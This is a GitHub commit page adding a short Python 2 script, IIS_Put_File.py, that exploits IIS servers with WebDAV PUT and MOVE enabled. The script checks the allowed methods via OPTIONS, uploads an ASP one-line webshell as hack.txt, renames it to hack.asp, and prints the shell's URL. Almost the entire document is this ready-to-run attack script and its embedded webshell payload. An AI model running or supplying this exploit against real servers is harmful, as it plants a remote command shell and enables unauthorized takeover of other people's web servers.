Skip to content

Commit

Permalink
Create IIS_Put_File.py
Browse files Browse the repository at this point in the history
  • Loading branch information
0c0c0f authored Feb 15, 2017
1 parent b021d1d commit a2ab65e
Showing 1 changed file with 36 additions and 0 deletions.
36 changes: 36 additions & 0 deletions service/IIS_Put_File.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#-*- encoding:utf-8 -*-

'''
IIS put file From http://www.lijiejie.com
Usage:
iisPUT.py www.example.com:8080
'''

import httplib
import sys

try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/')
headers = dict(conn.getresponse().getheaders())
if headers.get('server', '').find('Microsoft-IIS') < 0:
print 'This is not an IIS web server'

if 'public' in headers and \
headers['public'].find('PUT') > 0 and \
headers['public'].find('MOVE') > 0:
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
# PUT hack.txt
conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' )
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
# mv hack.txt to hack.asp
conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'})
print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp'
else:
print 'Server not vulnerable'

except Exception,e:
print 'Error:', e

0 comments on commit a2ab65e

Please sign in to comment.